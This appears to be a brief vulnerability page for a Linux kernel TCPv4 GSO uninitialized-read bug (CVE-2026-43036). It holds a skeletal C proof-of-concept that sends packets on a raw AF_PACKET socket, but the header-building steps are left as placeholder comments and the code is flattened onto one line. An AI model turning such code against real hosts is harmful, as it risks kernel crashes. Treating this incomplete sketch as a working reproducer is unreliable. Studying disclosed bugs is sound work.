CVE-2026-43036 Linux内核TCPv4 GSO内存读取漏洞

/* * PoC Concept for CVE-2026-43036 * Triggering the uninit-value read in gso_features_check via PF_PACKET. * Requires local execution. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 int main() { int sockfd; struct sockaddr_ll sa; char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // Create a raw socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } // Construct a malicious IP/TCP packet that triggers GSO checks // Note: Actual header construction to trigger the specific path // involves setting specific GSO flags and fragmented offsets. // This is a simplified structure. // Ethernet Header struct ether_header *eth = (struct ether_header *)buffer; // ... fill eth headers ... // IP Header (frag_off manipulation) // ... fill ip headers ... // TCP Header // ... fill tcp headers ... memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; // ... set interface index ... // Send packet if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("Send failed"); } else { printf("Packet sent. Check kernel logs for KMSAN warnings or crashes.\n"); } close(sockfd); return 0; }